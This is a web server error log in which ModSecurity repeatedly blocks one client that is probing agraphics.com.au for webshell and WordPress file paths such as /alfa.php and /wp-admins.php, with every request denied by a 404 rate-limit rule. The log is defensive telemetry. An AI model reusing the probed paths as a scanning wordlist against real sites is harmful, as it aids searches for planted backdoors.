[Sun Apr 12 05:19:41.914641 2026] [:error] [pid 26567:tid 26591] [client 20.203.155.254:19046] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "adq67XhRpg6ptWFyFx33SAAAARY"]
[Sun Apr 12 05:19:42.412480 2026] [:error] [pid 26600:tid 26641] [client 20.203.155.254:26494] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "adq67u1YwAZiXhQKLYpxaAAAAYw"]
[Sun Apr 12 05:19:42.933053 2026] [:error] [pid 26567:tid 26593] [client 20.203.155.254:56489] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "adq67nhRpg6ptWFyFx33SwAAARg"]
[Sun Apr 12 05:19:43.431992 2026] [:error] [pid 25329:tid 25400] [client 20.203.155.254:48818] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "adq672dcIYsS8Iyaj10rSAAAAI4"]
[Sun Apr 12 05:19:43.926657 2026] [:error] [pid 60280:tid 60297] [client 20.203.155.254:19050] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "adq673BlLnDOYuIykkjWFwAAAc8"]
[Sun Apr 12 05:19:44.395782 2026] [:error] [pid 25329:tid 25397] [client 20.203.155.254:50687] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "adq68GdcIYsS8Iyaj10rSQAAAIw"]
[Sun Apr 12 05:19:44.859448 2026] [:error] [pid 25437:tid 25444] [client 20.203.155.254:14347] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "adq68Hf97wYZje1ep_NN0AAAAMU"]
[Sun Apr 12 05:19:45.328271 2026] [:error] [pid 26600:tid 26643] [client 20.203.155.254:19070] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "adq68e1YwAZiXhQKLYpxawAAAY4"]
[Sun Apr 12 05:19:45.802129 2026] [:error] [pid 26600:tid 26631] [client 20.203.155.254:14374] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "adq68e1YwAZiXhQKLYpxbQAAAYI"]
[Sun Apr 12 05:19:46.275110 2026] [:error] [pid 26599:tid 26621] [client 20.203.155.254:28743] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "adq68nG89LXoQbk_rwA1cgAAAVM"]
[Sun Apr 12 05:19:46.752398 2026] [:error] [pid 26567:tid 26579] [client 20.203.155.254:17825] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "adq68nhRpg6ptWFyFx33TQAAAQo"]
[Sun Apr 12 05:19:47.218878 2026] [:error] [pid 25437:tid 25463] [client 20.203.155.254:26058] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "adq683f97wYZje1ep_NN0gAAANg"]
[Sun Apr 12 05:19:47.684588 2026] [:error] [pid 26600:tid 26650] [client 20.203.155.254:57001] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "adq68-1YwAZiXhQKLYpxcAAAAZU"]
[Sun Apr 12 05:19:48.150693 2026] [:error] [pid 60280:tid 60282] [client 20.203.155.254:50672] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "adq69HBlLnDOYuIykkjWGgAAAcA"]
[Sun Apr 12 05:19:48.617330 2026] [:error] [pid 26567:tid 26586] [client 20.203.155.254:50745] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "adq69HhRpg6ptWFyFx33TwAAARE"]
[Sun Apr 12 05:19:49.080000 2026] [:error] [pid 25328:tid 25370] [client 20.203.155.254:48774] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "adq69cxUaQZxT-e0YsDU4gAAAEY"]
[Sun Apr 12 05:19:49.548635 2026] [:error] [pid 25328:tid 25408] [client 20.203.155.254:26083] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "adq69cxUaQZxT-e0YsDU5QAAAFg"]
[Sun Apr 12 05:19:50.034493 2026] [:error] [pid 25328:tid 25365] [client 20.203.155.254:50637] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "adq69sxUaQZxT-e0YsDU6AAAAEE"]
[Sun Apr 12 05:19:50.528997 2026] [:error] [pid 25329:tid 25407] [client 20.203.155.254:19032] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "adq69mdcIYsS8Iyaj10rTAAAAJI"]
[Sun Apr 12 05:19:50.998040 2026] [:error] [pid 25329:tid 25411] [client 20.203.155.254:19014] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "adq69mdcIYsS8Iyaj10rTQAAAJQ"]
[Sun Apr 12 05:19:51.462932 2026] [:error] [pid 60280:tid 60306] [client 20.203.155.254:50635] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "adq693BlLnDOYuIykkjWHwAAAdg"]
[Sun Apr 12 05:19:51.938179 2026] [:error] [pid 60280:tid 60283] [client 20.203.155.254:26491] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "adq693BlLnDOYuIykkjWIgAAAcE"]
[Sun Apr 12 05:19:52.418521 2026] [:error] [pid 25327:tid 25338] [client 20.203.155.254:48807] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "adq6-C6h2tZEVJo9JFI-lgAAAAI"]
[Sun Apr 12 05:19:52.884803 2026] [:error] [pid 60280:tid 60296] [client 20.203.155.254:26415] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/default.php"] [unique_id "adq6-HBlLnDOYuIykkjWKAAAAc4"]
[Sun Apr 12 05:19:53.348301 2026] [:error] [pid 26600:tid 26649] [client 20.203.155.254:48788] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/default.php"] [unique_id "adq6-e1YwAZiXhQKLYpxdwAAAZQ"]
[Sun Apr 12 05:19:53.807694 2026] [:error] [pid 26600:tid 26641] [client 20.203.155.254:3027] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/default.php"] [unique_id "adq6-e1YwAZiXhQKLYpxeQAAAYw"]
[Sun Apr 12 05:19:54.277503 2026] [:error] [pid 26599:tid 26615] [client 20.203.155.254:50684] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/default.php"] [unique_id "adq6-nG89LXoQbk_rwA1cwAAAU0"]
[Sun Apr 12 05:19:54.741540 2026] [:error] [pid 26567:tid 26574] [client 20.203.155.254:26101] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "adq6-nhRpg6ptWFyFx33UgAAAQU"]
[Sun Apr 12 05:19:55.211783 2026] [:error] [pid 25437:tid 25449] [client 20.203.155.254:25706] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "adq6-3f97wYZje1ep_NN1AAAAMo"]
[Sun Apr 12 05:19:55.674216 2026] [:error] [pid 26567:tid 26588] [client 20.203.155.254:26105] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "adq6-3hRpg6ptWFyFx33VQAAARM"]
[Sun Apr 12 05:19:56.148249 2026] [:error] [pid 26567:tid 26571] [client 20.203.155.254:19040] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "adq6_HhRpg6ptWFyFx33VgAAAQI"]
[Sun Apr 12 05:19:56.612206 2026] [:error] [pid 26599:tid 26604] [client 20.203.155.254:2141] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file61.php"] [unique_id "adq6_HG89LXoQbk_rwA1eAAAAUI"]
[Sun Apr 12 05:19:57.076282 2026] [:error] [pid 26567:tid 26593] [client 20.203.155.254:28356] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file61.php"] [unique_id "adq6_XhRpg6ptWFyFx33WAAAARg"]
[Sun Apr 12 05:19:57.542263 2026] [:error] [pid 60280:tid 60298] [client 20.203.155.254:2132] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file61.php"] [unique_id "adq6_XBlLnDOYuIykkjWMAAAAdA"]
[Sun Apr 12 05:19:58.016438 2026] [:error] [pid 26599:tid 26617] [client 20.203.155.254:19053] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file61.php"] [unique_id "adq6_nG89LXoQbk_rwA1egAAAU8"]
[Sun Apr 12 05:19:58.480630 2026] [:error] [pid 26599:tid 26623] [client 20.203.155.254:28363] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "adq6_nG89LXoQbk_rwA1ewAAAVU"]
[Sun Apr 12 05:19:58.948853 2026] [:error] [pid 25437:tid 25441] [client 20.203.155.254:50657] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "adq6_nf97wYZje1ep_NN2gAAAMI"]
[Sun Apr 12 05:19:59.414159 2026] [:error] [pid 26599:tid 26619] [client 20.203.155.254:48820] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "adq6_3G89LXoQbk_rwA1fAAAAVE"]
[Sun Apr 12 05:19:59.885889 2026] [:error] [pid 25328:tid 25367] [client 20.203.155.254:14394] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "adq6_8xUaQZxT-e0YsDU-gAAAEM"]
[Sun Apr 12 05:20:00.355426 2026] [:error] [pid 25327:tid 25345] [client 20.203.155.254:14377] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/d.php"] [unique_id "adq7AC6h2tZEVJo9JFI-nQAAAAk"]
[Sun Apr 12 05:20:00.827134 2026] [:error] [pid 26567:tid 26586] [client 20.203.155.254:50641] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/d.php"] [unique_id "adq7AHhRpg6ptWFyFx33XAAAARE"]
[Sun Apr 12 05:20:01.305338 2026] [:error] [pid 60280:tid 60290] [client 20.203.155.254:14376] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/d.php"] [unique_id "adq7AXBlLnDOYuIykkjWMwAAAcg"]
[Sun Apr 12 05:20:01.791341 2026] [:error] [pid 60280:tid 60297] [client 20.203.155.254:15554] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/d.php"] [unique_id "adq7AXBlLnDOYuIykkjWNgAAAc8"]
[Sun Apr 12 05:20:02.269993 2026] [:error] [pid 60280:tid 60282] [client 20.203.155.254:21249] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "adq7AnBlLnDOYuIykkjWOQAAAcA"]
[Sun Apr 12 05:20:02.776644 2026] [:error] [pid 26567:tid 26574] [client 20.203.155.254:48770] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "adq7AnhRpg6ptWFyFx33YAAAAQU"]
[Sun Apr 12 05:20:03.249434 2026] [:error] [pid 26567:tid 26578] [client 20.203.155.254:28317] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "adq7A3hRpg6ptWFyFx33YQAAAQk"]
[Sun Apr 12 05:20:03.828341 2026] [:error] [pid 60280:tid 60285] [client 20.203.155.254:10218] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "adq7A3BlLnDOYuIykkjWOwAAAcM"]
[Sun Apr 12 05:20:04.307303 2026] [:error] [pid 26567:tid 26593] [client 20.203.155.254:2156] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admins.php"] [unique_id "adq7BHhRpg6ptWFyFx33aAAAARg"]
[Sun Apr 12 05:20:04.802807 2026] [:error] [pid 26599:tid 26624] [client 20.203.155.254:15596] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admins.php"] [unique_id "adq7BHG89LXoQbk_rwA1gAAAAVY"]
[Sun Apr 12 05:20:05.270218 2026] [:error] [pid 25328:tid 25403] [client 20.203.155.254:19008] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admins.php"] [unique_id "adq7BcxUaQZxT-e0YsDVAgAAAFY"]
[Sun Apr 12 05:20:05.766471 2026] [:error] [pid 25328:tid 25365] [client 20.203.155.254:28288] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admins.php"] [unique_id "adq7BcxUaQZxT-e0YsDVBwAAAEE"]
[Sun Apr 12 05:20:06.234798 2026] [:error] [pid 25328:tid 25366] [client 20.203.155.254:12543] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-config-sample.php"] [unique_id "adq7BsxUaQZxT-e0YsDVCwAAAEI"]
[Sun Apr 12 05:20:06.695018 2026] [:error] [pid 25328:tid 25405] [client 20.203.155.254:25685] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-config-sample.php"] [unique_id "adq7BsxUaQZxT-e0YsDVDgAAAFc"]
[Sun Apr 12 05:20:07.159542 2026] [:error] [pid 25328:tid 25368] [client 20.203.155.254:12534] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-config-sample.php"] [unique_id "adq7B8xUaQZxT-e0YsDVEgAAAEQ"]
[Sun Apr 12 05:20:07.623060 2026] [:error] [pid 25328:tid 25365] [client 20.203.155.254:51959] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-config-sample.php"] [unique_id "adq7B8xUaQZxT-e0YsDVFAAAAEE"]
[Sun Apr 12 05:20:08.086386 2026] [:error] [pid 25328:tid 25372] [client 20.203.155.254:28411] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file6.php"] [unique_id "adq7CMxUaQZxT-e0YsDVFwAAAEc"]
[Sun Apr 12 05:20:08.555913 2026] [:error] [pid 26567:tid 26569] [client 20.203.155.254:26062] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file6.php"] [unique_id "adq7CHhRpg6ptWFyFx33dgAAAQA"]
